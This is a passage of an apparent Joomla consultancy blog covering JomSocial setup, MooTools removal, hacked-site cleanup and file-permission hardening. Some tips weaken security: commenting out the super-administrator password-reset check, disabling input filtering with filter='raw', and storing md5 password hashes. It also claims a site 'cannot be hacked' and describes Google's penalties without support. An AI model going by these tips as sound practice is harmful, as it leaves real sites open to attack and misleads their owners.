  • Configuring Joomla by going to http://www.yourjoomlawebsite.com/testwebsite (this is where Joomla asks you which language to use, which database to connect to, what will be the name of the website, and what will be the password of the main super user)

After installing Joomla, we are ready to move to the next step, which is choosing a template.

Step 3 – Choose a template for the Joomla website

Once Joomla’s installation is done – a quick and important question arises: “How will the website look like?”

A template defines how a website looks and there are plenty of free and commercial Joomla templates out there. The free ones are good but not great, but the commercial ones are usually very beautiful and give the website a professional and expensive look.

Many clients are able to find a free or commercial Joomla template that fits their needs. But some clients are much more selective, or need an exclusive look and feel for their website, and that’s why we connect them with a designer (Note: We have no designers working for us – which means that we cannot be held accountable for their work, even if we’re the ones connecting them with our clients. Our clients are always free to go with a designer of their choice) who will be able to help them. These clients then communicate with the designer directly, who develops the template based on their needs, and eventually sends the template to us.

Once we have the template, all we need to do is to install it through Joomla’s backend, which is quite an easy and smooth task (unless, of course, there are some errors in the template’s manifest file).

Step 4 – Install JomSocial

JomSocial, for those who do not know, is a commercial extension that will integrate all the functions of a fully fledged social networking website with Joomla.

In order to install JomSocial, all one needs is to download it (after paying for it) from the JED (the Joomla Extensions Directory), and then install it from Joomla’s backend.

Now, after JomSocial is installed, then the client might ask the designer to make some modifications to the template to accommodate JomSocial. This is especially the case when the designer has no idea how the website will look like once JomSocial is installed.

It’s unbelievable that this small and easy step is what makes a Joomla website a social networking website – don’t you agree? That’s saying something about the power and the versatility of Joomla!

Step 5 – Modify JomSocial to accommodate the needs of our client

Many clients have specific features to implement on their new website – and that’s why standard features won’t cut it for them. This is where our job gets very exciting as our clients will ask us to implement their vision of their new social networking website into JomSocial! What we do is we either modify JomSocial’s core and/or develop new extensions that will work in harmony with JomSocial to complement that vision!

Step 6 – Test the website

Once all the pieces are in place, we start the testing. There are two types of testing:

  1. Technical testing

    “Technical testing” is done on our end and its aim is to unveil bugs (such as MySQL errors, blank pages, 404 errors, internal server errors, etc…) All bugs are fixed on the spot in this type of testing.

  2. Business logic testing

    “Business logic testing” is done on the client’s end to ensure that all the functionality is there and that the website is doing what it should. In short, “Business logic testing” is checking whether the business logic requested by the client is all there, is not broken, and is fulfilling the agreed-on specifications. At the end of “Business logic testing”, our clients will send us a report containing all the issues that they faced for us to address.

Needless to say, we retest the whole website after fixing technical bugs or logical bugs because a fix might have an undesirable effect on other areas of the website.

Step 7 – Move the website to production

When all the testing is done and when our client gives us the go-ahead, we move the website to production. The move to production consists of physically moving the website from the testwebsite directory to the root directory. This means that the website’s URL, at this point, will be http://www.yourjooomlawebsite.com/ instead of http://www.yourjoomlawebsite.com/testwebsite. And that’s it! We’re done!

So, is the process of building a social website from scratch in Joomla hard? We don’t think so – but we don’t think it’s easy either. It’s better to ask for help If you’re trying to build your own social networking website with Joomla – and where better to find that help than right here, at itoctopus? Just contact us and we’ll help you build your own social networking website with Joomla in record time and for a reasonable fee. By the way, our biggest achievement is to have our clients thrilled with the end result. Try us!

How to Disable Mootools in Joomla

Warning: Mootools is a well known (and very stable) JavaScript library that is used to support many client-side activities on Joomla. Disabling it/removing it (or replacing it with another library) might cause a lot of instability on your Joomla website and may render your Joomla website (especially its backend) completely inoperable. Please proceed carefully and, needless to say, at your own risk!

Some of our clients with advanced technical skills (who sub-contract to us) sometimes ask us to disable mootools on a Joomla website. We respond that it can be done, but at their own risk, since a lot of Joomla behavior (especially in the backend) is powered by mootools. So they tell us that they want to proceed anyway… Now the question is, how do we do it?

Well, there are several methods to do disable mootools on a Joomla website:

Method #1: Delete the mootools files

This method simply consists of deleting (through FTP) the mootools files that are included by Joomla. The mootools files to be deleted are the following:

  • The mootools-core.js JavaScript file which is located under the /media/system/js directory.
  • The core.js JavaScript file which is also located under the media/system/js directory.

The main advantages of this method is that it’s super fast, but on the flip side, you will be deleting a core Joomla file that you may need later!

Method #2: Comment out the inclusion of mootools in Joomla’s core

As mentioned earlier, the mootools JavaScript library is included in the file behavior.php which is located under the /libraries/joomla/html/html directory. So, to comment out the inclusion of mootools, all you need to do is to comment out the following lines (lines 60-61) in the aforementioned file:


JHtml::_('script', 'system/mootools-' . $type . '.js', false, true, false, false, $debug);
JHtml::_('script', 'system/core.js', false, true);

This method is better than the first one because we are only commenting the inclusion of the files, and not deleting the files. The downside of this method, however, is that we are changing a core file (behavior.php). At itoctopus, changing core files is always a last resort option when everything else fails!

Method #3: Develop a system plugin that will unload mootools

In our opinion, developing a system plugin that will unload the mootools library is the best option (and it’s what we do). This is because you won’t be deleting any file and you won’t be changing a core Joomla file. Additionally, this whole thing (disabling mootools) can just be reversed/applied by just disabling/enabling the plugin!

This plugin is fairly simple. The XML manifest file is straightforward (just copy and paste the XML file of any simple system plugin [such as the sef plugin], change the name, and modify the necessary parameters to reflect the name change of that plugin), as for the PHP file, it’ll only need the following 5 lines of code in the onAfterRender function:


$objDocument = &JFactory::getDocument();
$arrHeadData = $objDocument->getHeadData();
unset($arrHeadData['scripts'][JPATH_ROOT.DIRECTORY_SEPARATOR.'media'.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'js'.DIRECTORY_SEPARATOR.'mootools-core.js']);
unset($arrHeadData['scripts'][JPATH_ROOT.DIRECTORY_SEPARATOR.'media'.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'js'.DIRECTORY_SEPARATOR.'core.js']);
$objDocument->setHeadData($arrHeadData);

That’s it! Super simple, huh?

By the way, another advantage of using a system plugin is that it can be applied for specific components (and not the whole website). Also, with a system plugin, we can specify whether we want it to take effect on the frontend, the backend, or both (the code above will apply it on both because there’s no condition explicitly telling it to take effect exclusively on the frontend or exclusively on the backend).

But why would anyone want to disable mootools?

The main reason that anyone may want to disable mootools is if it’s causing conflicts on the website with another JavaScript library (which might be a previous version of mootools). We’ve seen this happening frequently on migrations from Joomla 1.5 to Joomla 2.5.

Now, if you’re reading the above and it seems like it’s written in a foreign language, then fear not, you’re certainly not alone, because this post is a bit technical! In any case, you can always contact us and we will definitely help you! Our rates are affordable, our work is swift and professional, and we really love to serve our clients!

What To Do When Your Joomla Website Is Flagged As Malware by Google

Often these days, clients call us after we unhack their Joomla website and tell us that it’s still hacked! So we examine their website and discover that the website is clean. We communicate to them our results, and they get back to us shortly and they say that when they go to their website on Chrome they see something like the following:

Chrome Website Warning

Figure 1: Chrome Warning

So we explain to our clients how Google works with hacked websites:

  1. When the website is first hacked, Google gives that website the benefit of the doubt – something like a grace period to allow the owner/administrator of the website to take action. During that grace period, Google’s penalty will be restricted to new pages on the website (they will not be indexed), old pages on the website, however, will maintain their rankings.
  2. If the website is not fixed within that grace period (most likely because the website admin did not notice, which is usually the case especially when it’s a Googlebot hack), then Google will label the website as malware in its search engine results (which means that the message This website contains malware or This site may be compromised will be next to each listing belonging to this website). The (bad) reputation of the website will be communicated to FireFox and to Google Chrome – both browsers will show warning messages to visitors, telling them not to visit the website (or to visit the website at their own risk). Google usually sends a warning to the site administrator at this point telling him that his website is hacked.

  3. If the site administrator ignores the issue for one reason or the other, then Google will penalize the website by shifting listings pertaining to this website to the third or the fifth page of the search results. This is called the +30 or the +50 penalty. This penalty will be in addition to previous penalties.

  4. When some time goes by after the +30 or the +50 penalty, then Google will deem this website as unimportant (if it was important then the site administrator would have taken immediate action to address the issue) and will completely delist it from its search results.

In most cases, our clients tell us to fix their websites when their website reaches step 2 in the Google’s website flagging process above – which means that they contact us when their website has already been labeled as hosting malware. Which, in its turn, means that when we fix the website, those flags won’t be removed until Google re-checks the website and verifies that it’s clean – which may happen in a day, a week, or even a month!

Now, the question is, is there a way to expedite the unflagging of your Joomla website?

In fact, there is. All you need to do is to submit what Google calls a reconsideration request which can be done from Google’s Webmaster Tools. Keep in mind that asking Google to reconsider your website will not automatically unflag it, but it will bring the website to the attention of some (human) professionals who may unflag the website before the automated process does.

Is the website redeemable once its past point 2 in Google’s website flagging process?

It is redeemable, but the more you wait, the harder and longer it’ll be to restore your website’s reputation with Google. It may take several months (even a year), along with several petitions and reconsideration requests for some websites to be re-indexed with Google.

If your hacked Joomla website was fixed but you still see that Google and some browsers are warning against using it, then we suggest you give it some time until Google lifts the warning. If your website, after a week or so of fixing it, is still labeled as containing malware, then most likely it was not cleaned properly the first time or it was re-hacked. We suggest you contact us to address the problem for you. We are security experts on Joomla, we are fast, we are reliable, and our fees are quite affordable!

“A Super Administrator Can’t Request a Password Reminder” Error in Joomla

Note: This post only applies to Joomla 2.5.

We got an email very early this morning from one of our regular customers. Here’s the email (minus, of course, our customer’s information):

“Hi,

I’m not able to reset my password. When I try to reset it using the password reminder tool I get the following error:

A Super Administrator can’t request a password reminder. Please contact another Super Administrator or use an alternative method.

Can you help? (as usual!)”

Clearly, it was a frustrating issue – if a super administrator can’t reset his password, who can? And what are these alternative methods?

Unfortunately for our client, he was the only super administrator on the website (he didn’t give super administrator access to anyone else, which is a good practice for small websites), so he can’t just ask another super administrator to reset his password through the backend. But fortunately, he has us, and we know that there are multiple alternative methods to overcome this issue.

Method #1: Get rid of the error

Yes, you can get rid of the error and allow a super administrator to use a password reminder. Here’s what needs to be done:

  • Connect through FTP to the website.
  • Open the file reset.php which is located under the components/com_users/models directory.

  • Comment out lines 340-343 in that file by adding /* at the beginning of line 340 and */ at the end of line 343. So these lines will look like the following:


    /* if ($user->authorise('core.admin')) {
    $this->setError(JText::_('COM_USERS_REMIND_SUPERADMIN_ERROR'));
    return false;
    }*/

  • Save the file reset.php and upload it back.

  • Try to reset your password using a password reminder (it’ll work).

  • Revert back the changes that you made to the reset.php file once your password is resetted.

This method is good, but requires changing a native Joomla file – something that we recommend our customers to avoid when there are better alternatives.

Method #2: Reset the password through a script

This method means that the website owner must develop a PHP script that connects to his database, gets the id of the super administrator, and updates the password field with an md5 hash of his selected password.

If you don’t understand the above line, then this method is not for you. Read on!

Method #3: Reset the password through phpMyAdmin

This method is the easiest one so far. If you’re familiar with phpMyAdmin, then here’s what you need to do:

  • Go to your database’s phpMyAdmin.
  • Open the table jos_users. (Replace jos_ with your database’s prefix defined in your configuration.php file)

  • Search for the row that has your information (your username) and open that row for editing.

  • Choose md5 from the drop down next to password. (See Figure 1 below)

  • Enter your password (we chose the password to be itoctopus in our example below) and then click on Save at the bottom of the page

Update the user's password in phpMyAdmin

Figure 1: Updating the user’s password through phpMyAdmin (by using md5 as hash function)

Method #4: Call some Joomla experts

If you don’t have the necessary technical skills, then we suggest you ask for help, and in the Joomla world, help is easy to find. All you need to is to contact some Joomla experts and they’ll gladly do the above for you.

If you’d rather go with Method #4, then all you need to is to contact us! We have been working on Joomla for many years now and we know it inside out! Our code is solid, our estimates are real, and our rates are very affordable, and we’re the friendliest programmers on this planet! What are you waiting for?

How to Allow Modules to Save JavaScript Code in Joomla 2.5

Yesterday we were working on the migration of a very old website. That website had a simple module that was programmed to display, on the website, whatever it had in the field JavaScript Code. As the name suggests, that field contained some JavaScript code. When we migrated the module to Joomla 2.5, we ran into a small issue: <script> tags were stripped from the code whenever we hit on Save. We weren’t using any editor for the field and we were logged in as super administrators and the Filter Type for super administrators was set to No Filtering (you can find the Filter Type field by logging in to the backend, and then clicking on Site -> Global Configuration on the upper top menu, and then clicking on Text Filters on the middle top menu) which means that there shouldn’t be any logical reason why Joomla would strip the JavaScript code. But it was…

So we investigated a bit, and we discovered that Joomla 2.5, was set to clean (e.g. filter) all the input submitted through modules, unless it was told not to… So, the question is now, how do you tell Joomla not to do so?

Well, it’s very easy. All you need to do is to modify the filter type of the field (that you wish to add the JavaScript code to) in the manifest (the manifest file is the XML file that defines the extension. [which fields are needed, what are their types, which files should be included with the extension, etc…] Every extension must have an XML file, which must be located in the root of the installation package, and must have the same name as the name of the extension.) The filter type must be set to raw.

For example, if the following line defines the field javascript_code in your manifest file:

<field name="javascript_code" type="textarea" rows="20" cols="80" default="" label="JavaScript Code" description="Add your JavaScript code here" />

Then it should be changed to:

<field name="javascript_code" type="textarea" rows="20" cols="80" default="" filter="raw" label="JavaScript Code" description="Add your JavaScript code here" />

And that’s it! Now your module can save any code!

While we think that the above can be done by a non-programmer, we have to warn you that making a mistake anywhere can break your module, so it’s better to make a backup that you can revert to in case something goes wrong. If you would rather do this work yourself (which is admittedly a bit technical), then, as usual, you can contact us! We’re always there, we’re always happy to serve, we’re Joomla experts, and we our fees are very affordable!

How to Quickly Fix a Hacked Joomla Website

Note: This post is very advanced and is targeted at programmers. If you’re not a programmer, you can ask us to do the below for you.

As of May of last year, we are often getting several hacked Joomla websites a day to clean. In this post, we are going to share with our readers/clients how to quickly do that.

In many cases, the Joomla website is hacked because one or more of its core files are hacked – which means that to fix the hack, one has to clean those files. But the question is, how can one find out which files were hacked?

Well, nearly always, hackers like to hide their malicious code in an encrypted form – and then decrypt that code usually using the built-in PHP function base64_decode. So, in order to find out which files were hacked, one has to write a script to search the Joomla files for the base64_decode function and detect if the files containing the function have it for legitimate reasons.

But, is it really necessary to search all the files? We think it’s not only not necessary (was that a double negative?), it’s also not practical. This is because Joomla has thousands of files and running a script that will search every single file might take a long time. Additionally, searching all the files might return a lot of false positives, which means that weeding them out and finding the culprit(s) can be a highly tedious process.

A better way to find the offending files is to search only the files that are being loaded on the affected page. So the process for cleaning up your Joomla website will be something as the below:

  • Get a list of all the files that are being loaded in the index.php (we have described the process here).
  • Just after getting the list of the files that were loaded, create a script that will search each and every one of these files for the base64_decode function.

  • Once you have the list of the files containing the above function, do a visual check on the code of each of the files in the list for anything that may seem fishy (we suggest to check the content of each file with the content of an identical file in an equivalent, and clean, installation of Joomla). Keep going through the list even if you find the offending file, as there may be more than one.

  • Cleanup all offending files.

  • That’s it!

Some caveats:

  • Some hacked websites may contain several malicious files that will re-infect the core files even after cleaning them up. Be sure to change the permissions to 0444 on all core files and make sure you use DSO for your Joomla website so as to block these malicious files from writing to your core Joomla files.
  • Some files containing the base64_decode function are purely malicious files (e.g. they shouldn’t even exist). These files should be deleted immediately.

  • Make sure you backup the website before doing the above. As fixing or deleting a false positive can render your website inoperable.

As you can see, unhacking a Joomla website is not that hard if you have the right programming skills – but if you don’t, or if you just don’t have the time to do it, then we’re here to help! Just contact us and we’ll fix your website immediately. Our prices are right, our work is professional and clean, and we are the friendliest programmers out there!

How to Add a Shortcut Icon to the Backend Menu in Joomla 2.5

One of our clients asked to add a shortcut icon to K2 in the top menu. As some might know, there’s a Joomla module that already does that, so we just downloaded that module and installed it and that was it! But we thought, what if such a module didn’t exist, or what if a client wanted to add a shortcut to a lesser known component that doesn’t have such a module already developed? So we decided to explain, in details, how to do that.

Now, before we begin, we want to explain two concepts:

  • You can add functionality to Joomla’s backend using administrator modules. Administrator modules work more or less the same way as site modules (which are the most common), but they only apply to admin templates.
  • Administrator templates are technically the same as site templates. In other words, they have what you call “positions”, which are placeholders to place modules.

So, how can one develop an administrator’s module in Joomla?

Well, it’s very easy. All one needs is to develop a simple, ordinary module, and, in the XML file, replace the following line:

<extension type="module" client="site" version="2.5" method="upgrade">

with this one:

<extension type="module" client="administrator" version="2.5" method="upgrade">

And that’s it!

So, the code for the shortcut_icon.xml file will be the following:

<?xml version="1.0" encoding="utf-8"?>
	<extension type="module" client="administrator" version="2.5" method="upgrade">
	<name>Shortcut Icon</name>
	<author>itoctopus</author>
	<creationDate>2012</creationDate>
	<copyright>Developed by itoctopus</copyright>
	<license>Free</license>
	<version>1</version>
	<description>This module displays a shortcut icon (to be used to link to your component of your choice)
in the backend to be placed next to the top menu.</description>
	<files>
		<filename module="shortcut_icon">shortcut_icon.php</filename>
		<filename>shortcut_icon.png</filename>
	</files>
</extension>

The PHP file (shortcut_icon.php) is as easy as the below:

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
$rootURL = JURI::root();
echo '<a href="'.$rootURL.'/administrator/index.php?option=com_[your_component]"><img src="modules/mod_shortcut_icon/shortcut_icon.png" border="0"/></a>';
?>

Now all one needs is to choose a png image, rename it to shortcut_icon.png, pack all 3 files (shortcut_icon.xml, shortcut_icon.php, and shortcut_icon.png) into one file, called shortcut_icon.zip, and finally load that file into Joomla’s Extension Manager (which will effectively install the module).

How to make the shortcut icon module display next to the top menu?

This is the easy part. First go to Extensions -> Module Manager and then choose Administrator instead of Site from the first dropdown. This will list all the backend modules. Now search for shortcut_icon next to Filter and you’ll see the module that you’ve just installed. Now click on the name of that module, choose menu as position, publish the module, and then save it. Now you will the shortcut icon appearing next to your backend’s menu (on the top). Easy, huh?

As you can see, the process is not that hard, but it requires some programming skills as well as some technical Joomla knowledge (although we did our best to simplify everything!). So, in case you want to do the above and you feel that it’s a bit over your head, then fear not, all you need to is to contact us and we’ll do it for you in no time. By the way, you don’t have to worry about our prices, they are very affordable!

Warning: Joomla 2.5 and Joomla 3.0 Do Not Have the Same Infrastructure

Very early in the morning today, one of our regular customers came to us and told us that his website was down because of a “missing field” in the jos_content (of course, jos_ was not his real prefix) table. We checked his website and we were greeted by an error complaining about an unknown column called a.title_alias in a certain query. We searched for the file containing the offending query, and it was the article.php file located under the /components/com_content/models/ directory. We compared that file to that of a clean installation of Joomla 2.5, and they were identical!

We then looked at the database using phpMyAdmin, and, as expected, the field did not exist in the jos_content table. But, should that field exist in the first place? In order to answer this question, we checked the mysql installation file (that file is called joomla.sql and is located under the /installation/sql/mysql folder) for Joomla 2.5 and we discovered that the field existed in the declaration of the jos_content table, which means that the field should be there. But how come it’s not there?

After thorough investigation, we discovered that the client had a Joomla 3.0 website, did not like it, and tried to use Joomla 2.5 instead. Here’s what he did:

  • He moved the actual physical directory of his Joomla website (his Joomla website was directly located in the public_html directory) to another temp directory.
  • He extracted Joomla 2.5 to the public_html directory.

  • He removed the installation folder from the Joomla 2.5 website, and then copied the templates and the images directory from the Joomla 3.0 website (his old website) to the Joomla 2.5 website (his new website). He also copied the configuration.php file from the old website to the new website.

He did the above because he was under the impression that while the filesystem may have differed from Joomla 2.5 to Joomla 3.0, the database infrastructure was the same – while in fact, it’s not!

What did we do to resolve the problem?

In order to resolve the issue, we reverted our client’s work. Here’s how:

  • We moved the contents of his public_html directory to another directory.
  • We extracted the latest copy of Joomla 3.0 to his public_html directory.

  • We then copied the images and the templates directories from his old (original website) to the new one, as well as the configuration.php file.

  • We removed the installation folder and then copied the directories of some extensions from the old website to the new website (these extensions were installed in the original 3.0 Joomla website and existed in the database, but did not physically exist in the new website).

  • Since our client was using hostgator, we added the following line to the .htaccess file of the Joomla website:

    AddType application/x-httpd-php53 .php

    Without the above line, the Joomla website will throw the following error:

    Your host needs to use php 5.3.1 or higher to run this version of Joomla.

    Note that from our experience, this step should only be done when you’re using hostgator and installing Joomla 3.0.

  • Once we did the above steps, the problem was fixed and his website worked normally (he was still running Joomla 3.0 though).

So, as you can see from the above, Joomla 2.5 and Joomla 3.0 do not have neither the same filesystem nor the same database, they are two different CMS’s!

If you ran into the same problem and you’re still unable to salvage your Joomla website, then you probably need our help! Just contact us and we’ll prove to you how fast, reliable, and efficient we are. We’re also very affordable! Go ahead, shoot us an email!

What Is the Best Joomla Version?

Note: This post represents an opinion, our opinion, based on the work that we have done on Joomla for the year 2012.

We get asked this question a lot: “What is the best Joomla version?” Back in 2011, we used to say it was Joomla 1.5 – but as of May of 2012, we had a barrage of hacked Joomla websites running the latest Joomla 1.5 version (which is Joomla 1.5.26). As such, we’re no longer able to say that Joomla 1.5 is the best Joomla version out there, because it is no longer secure (we have written an exhaustive post about this).

So, which Joomla version do we consider as the best?

Well, in our opinion, it has to be Joomla 2.5. Here’s why:

  • Security: Joomla 2.5 is always up-to-date when it comes to security because it’s still officially supported (unlike Joomla 1.5), which means that any exploit is usually addressed immediately by the Joomla team (which releases a patch that can be easily applied to any Joomla version to remove that exploit).
  • Easy upgrade: Gone are the days where one has to update his Joomla version manually (using FTP) – with Joomla 2.5, updating the CMS can be done by just clicking a button in the backend and waiting until the magic is done!

  • Solid code: We have to admit that Joomla 1.5’s code was not consistent – even when it comes to its core (this is because Joomla 1.5 still had traces of Mambo, its predecessor CMS, in several key places). Additionally, a lot of the code in Joomla 1.5 is considered deprecated by the latest PHP version and may not work in future PHP versions. Joomla 2.5, on the other hand, is much more consistent (mainly because it dumps all references to Mambo) and its code is future proof with PHP and MySQL.

  • Better ACL: Joomla’s 1.5 ACL was very weak (some say it didn’t even have a real ACL). Joomla’s 2.5 ACL is much more solid (albeit much more complicated) and can be used to develop complex access scenarios.

  • Support until 2014: The Joomla official team has stated that Joomla 2.5 will be supported (officially) until mid 2014. However, from our experience, we know that they will extend this support for an additional year.

  • Seamless migration to Joomla 3.5: The Joomla team has promised a bridge that will seamlessly migrate Joomla 2.5 to Joomla 3.5 in 2014. What’s even more exciting is that most Joomla 2.5 extensions are compatible with Joomla 3.5 – this means that no more (ahem!) paying for developers to migrate your Joomla website to the latest version! (Well, you might still have to pay something, but the amount of money to be paid – and time spent – to migrate your Joomla website from 2.5 to 3.5 should be considerably less than that for migrating your Joomla 1.5 website to Joomla 2.5.

  • A huge library of 3rd party extensions: The number of 3rd party companies who are dropping development for Joomla 1.5 and joining development for Joomla 2.5 is increasing by the day. Additionally, there are many extensions for Joomla 2.5 that are exclusive for that platform and do not even work on Joomla 1.5.

Now some of our readers/clients might wonder, how come we didn’t say that Joomla 3.0 is the best Joomla version? Well, unfortunately, and from our experience, Joomla 3.0 is still far from perfect, and regardless what the Joomla official team might say about it (how stable and reliable it is), we still consider this version of Joomla to be in alpha (or beta at best). We know that migrating to Joomla 3.0 is tempting because of its mobile support, but we recommend to avoid this version until 2014 when Joomla 3.5 is released (which is supposedly a much more stable version).

So, now you know what is the best version of Joomla, which is Joomla 2.5. If your version of Joomla is 1.5 or lower, then you should really think about migrating to Joomla 2.5. If you need help doing this, then all you need to do is to contact us. We’re fast, we’re reliable, we’re Joomla experts, and our prices are very competitive!

Why You Should Use DSO for Joomla Websites

We have discussed suPHP in a previous post, and explained why it should be avoided on Joomla websites because Apache must have full permissions on all files pertaining to Joomla (including core files), leading to major security issues in case there’s a tiny loophole in the Joomla instance.

In that post, we stated that you must use an alternative that is more secure – but we weren’t specific. In this post, we will be revealing that alternative, which is DSO…

DSO (which stands for Dynamically Shared Objects) is (in our humble opinion), the best alternative to suPHP. Here’s why:

  • It gives the system administrator the flexibility for choosing which files can be written by Apache, and which files can’t.
  • The webserver will not return a 500 error message if Apache is not the owner of the file. Instead, real permissions are applied. For example, if Apache has only read permission to a file, then it’ll only be able to read it. If Apache has write permissions to a file, then it can (yes, you’ve guessed it) write to that file. In short, Apache doesn’t need to be the owner of a file in order to use it (read, write, or execute it).

  • A corollary to the previous point is that Apache cannot change the permissions of the files to give itself the necessary permissions to hack the Joomla website (e.g. write access) because it simply isn’t the owner of these files.

So, in order to make your Joomla website hacker proof, here’s what you need to do:

  • Switch to DSO. You can switch to DSO in WHM if you have a WHM based VPS or you can ask your host to do that for you. Please note that some hosts (especially very large ones) may refuse to do that for you particularly if you are using a cheap shared hosting plan.
  • Change ownership of all the files under your Joomla website to root. You can easily do that by logging in as root, and then issuing the following command:

    chown -R root /absolute_directory_to_your_joomla_website

  • Change group ownership of all the files under your Joomla websites to root. Again, this can be easily done with the following (similar to the above) command:

    chgrp -R root /absolute_directory_to_your_joomla_website

  • Change permissions of all the files under your Joomla website to 444. This can be done by issuing the following command at the shell:

    find . -type f -exec chmod 0444 {} \;

  • Change permissions of all the directories under your Joomla website to 755. This can be done by issuing the following command at the shell:

    find . -type d -exec chmod 0755 {} \;

    Give Apache write permissions to the some directories. These directories are:

    • cache
    • images
    • logs
    • tmp

Once you apply the above, you will have a secure website that cannot be hacked, but, unfortunately, there’s a tradeoff for security, which is functionality (yes, there’s no such thing as a complete panacea in any web environment). You will soon realize that you will no longer be able to install extensions, because extensions are installed in the backend of your Joomla website, which uses the apache user, but the apache user doesn’t have write access to any directory that will host the extension that you’re trying to install, including, but not limited to, the following directories:

  • /administrator/components
  • /administrator/modules
  • /administrator/language
  • /administrator/templates
  • /components
  • /modules
  • /language
  • /plugins
  • /templates

So, how can you overcome this problem?

Well, the only solution is to have 2 Joomla instances, one for development (where the user apache has all permissions to all directories), and another one that is for production, where the user apache has limited access (as described above). If you want to install an extension, then you install it on the development website, you test it, and then you sync the database and the filesystem of the production website with that of the development. We consider this process to be the best to ensure that your Joomla website is always secure and clean.

We do recognize, however, that implementing the above process is not that easy, especially if your production website receives a lot of updates, and that’s where we can help! All you need to do is to contact us, and you can rest assured that we’ll help you make your Joomla website a very secure and stable website. Shoot us an email or give us a call, we’re fast, we’re professional, we’re highly experienced in Joomla, and we don’t charge much!

Why suPHP Is Insecure for a Joomla Website

Most of the Joomla websites use suPHP, and yet most of the Joomla websites (with vulnerabilities, e.g. those with version less than the current one, or those that have vulnerable extensions installed) are getting hacked. Is that a coincidence? We think not, and we’ll explain why.

What is suPHP anyway?

suPHP is a tool that “claims” to be secure by allowing only owners of files to run them. For example, if a file is owned by user xyz, only user xyz can run this file. suPHP is usually the tool of choice to run PHP scripts on most cPanel installations.

Why do we think that suPHP is not secure?

As we stated earlier, suPHP requires that the user running any php file must be its owner. In a web environment, since Apache must be able to run all the PHP files under the web directory, then this means that Apache must be the owner of these PHP files (if Apache is stripped ownership of any of the PHP files under the web root, then you will see a “500 – Internal Server Error” when Apache wants to run that file). While that doesn’t sound that bad, imagine the following scenario:

  • You have changed the permissions of all your PHP files (recursively) to 444. You did that the right way, by ssh’ing to your machine, and issuing the following command under the root directory of your website:

    find . -type f -exec chmod 0444 {} \;

    You’re now proud because you think that your website is secure.

  • Your website is powered by a hackable version of Joomla or hosts an exploitable extension. A malicious user takes advantage of this exploit and uploads the file writetoindex.php to the images folder (which is the folder du choix for hackers). The writetoindex.php file simply writes some malicious code to your index.php file.

  • You think that since all your PHP files are read only, then if writetoindex.php is run, it will not be able to modify your index.php file. However, you probably forgot one very important thing: the writetoindex.php file is running as Apache, which is also the owner of index.php, which means that all the script needs to do in order to modify your index.php file is to modify its permissions (before attempting to write to it) using the PHP built-in function chmod. Always remember that the owner of the file can change its permissions whenever he feels like it. (You can reproduce this concept on your Windows machine: Create a text file with some content, right click on it, click on Properties and check the Read-only checkbox next to attributes. Now try to edit it and you’ll find out that you’re not able to. Now go back to the properties of the file and uncheck the Read-only attribute and you’ll be able to edit it again!)

We think that you should only use suPHP when you’re 100% sure that your website does not have any vulnerabilities whatsoever, but in this day and age, can anyone be 100% sure of anything?

So now you’re probably wondering, what’s the solution? The solution, in our (ehemmm) humble opinion, is to not use suPHP at all for your Joomla website, and use something else that is more secure, something that will allow Apache to read PHP files even though they are owned by someone else (that someone else might be root), something that will allow you to protect your Joomla PHP files as described here.

Talk to your host about an suPHP alternative, or better yet, contact us and hire us to do that for you and secure your website. We know the ins and out of Joomla, we have secured many websites before, and we don’t charge much!

Are You Unable to Save Anything in Joomla’s Backend?

A new client called us this afternoon and told us that he’s not able to save anything in the backend of his Joomla website. Articles, categories, menu items, modules, etc… are all not saving. He gave us his Joomla credentials, we logged in to his account, and we verified that he indeed had this problem: clicking on the “Save” button doesn’t do anything. Additionally, there were other issues such as “selection popups” not working (selection popups are those popups where one chooses, for example, an article for a menu item manager of type Single Article).

Clearly, the backend of our new client was completely dysfunctional. But, on the bright side, we have seen this issue before…

You see, any Joomla developer worth his salt knows that when this happens, it usually means that there is a nasty JavaScript error somewhere on the page breaking some critical functionalities on the website. So we looked at Chrome’s console and true enough, we saw this error:

HTMLDivElement Error

Figure 1: HTMLDivElement Error on Google Chrome

Why did that happen? And more importantly, how can this be fixed? After a lot of debugging, we discovered that some of the JavaScript files that our client had in the media directory were not compatible with his Joomla version. Apparently, he just migrated his website to Joomla 2.5 with another company and what they did was that they just copied the media folder from the old Joomla Website to the new Joomla Website, thinking that the media folder only contains images and other non-important stuff (like the images folder).

What did we do to fix the problem?

Fixing the problem, once we knew the cause, was simple. All that we needed to do was to overwrite his media folder with the media folder of a fresh install of a version of a clean Joomla install that was identical to his (yes, we know that this is a long sentence – sorry about that!)

In case you’re having a similar issue on your website, then try to overwrite your media folder of that of a similar (clean) Joomla installation. If that doesn’t work, then probably it’s time to contact us. We’re always there, we’re hard workers, we’re Joomla experts, and we don’t charge much.

How to Override the Default MooTools JavaScript Library in a Module

While migrating a very old Joomla website to version 2.5, we ran into a compatibility issue between the default MooTools library that comes with Joomla 2.5 and a module (the module was mod_jxtc_k2contentwall, for those who really want to know). The module was expecting an older version of MooTools – but what it got was the new version that comes with Joomla 2.5 which was incompatible with that module.

Trying to fix the JavaScript files of that module to to resolve the issue is, to put it delicately, an extremely painful experience. So we decided to do the following:

  • Copy the old MooTools JavaScript file to the directory of the migrated module.
  • Unload (remove) the new MooTools files (there are two) in that module using PHP.

  • Load (add) the old MooTools file in that module (also using PHP).

So, after copying the old MooTools JavaScript file to the module’s directory, we added the following code (in the main file of the module, in our case it was the mod_jxtc_k2contentwall.php file located under the /modules/mod_jxtc_k2contentwall/ directory) in order to unload the default MooTools library and load the old one:

//Step 0 - Get the current document
$document = &JFactory::getDocument();

//Step 1 - Get the root path of your website (this is needed later on in our code)
$rootPath = JURI::root(true);

//Step 2 - Get the current loaded scripts from the document
$arrHead = $document->getHeadData();

//Step 3 - Remove the loaded scripts
unset($arrHead['scripts'][$rootPath.'/media/system/js/mootools-core.js']);
unset($arrHead['scripts'][$rootPath.'/media/system/js/mootools-more.js']);

//Step 4 - Update the head content for the document
$document->setHeadData($arrHead);

//Step 5 - Add the old MooTools file
$document->addScript('modules'.DS.'[yourmoduledirectory]'.DS.'mootools.js');

If you want to override the MooTools library with another library in one of your modules, then all you need to do is to literally copy and paste the above code to that module (of course, you need to change yourmoduledirectory with the directory containing your module). You can also do it globally (for all your website) by just copying and pasting the above code into your index.php file.

But where is the MooTools library loaded?

